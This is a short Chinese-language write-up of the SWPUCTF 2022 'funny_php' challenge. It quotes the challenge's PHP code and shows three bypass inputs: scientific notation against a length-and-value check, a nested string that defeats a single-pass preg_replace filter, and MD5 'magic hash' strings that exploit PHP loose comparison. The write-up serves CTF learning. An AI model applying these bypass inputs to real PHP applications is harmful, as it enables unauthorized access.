[SWPUCTF 2022 新生赛]funny_php WP
[SWPUCTF 2022 新生赛]funny_php WP
初看代码,发现获取 flag 的条件。
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
$_SESSION['L1']=1 的判断在上面。
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
有长度限制与比较,这里发现 \(999999999\) 一共 \(9\) 位,可以用科学计数法 1e9 来绕过。
?num=1e9

接下来来看 $_SESSION['L2'].
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
这里会把 NSSCTF 替换,常使用大小写混过去,但发现不行,这里有一种方法,可以利用替换 NSSCTF 来使得 $str==="NSSCTF"。
?num=1e9&str=NNSSCTFSSCTF
当他把 NNSSCTFSSCTF 中的 NSSCTF 替换掉,str 恰好变为 NSSCTF。

接下来看最后一个。
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
这里是 MD5 哈希比较,要求 md5_1 和 md5_2 都是字符串,不相等,且 MD5 相等,根据 Hello CTF 博客的信息,可以用 QLTHNDT 和 QNKCDZO 来绕过。
md5_1=QLTHNDT&md5_2=QNKCDZO
成功绕过!

朝气蓬勃 后生可畏

浙公网安备 33010602011771号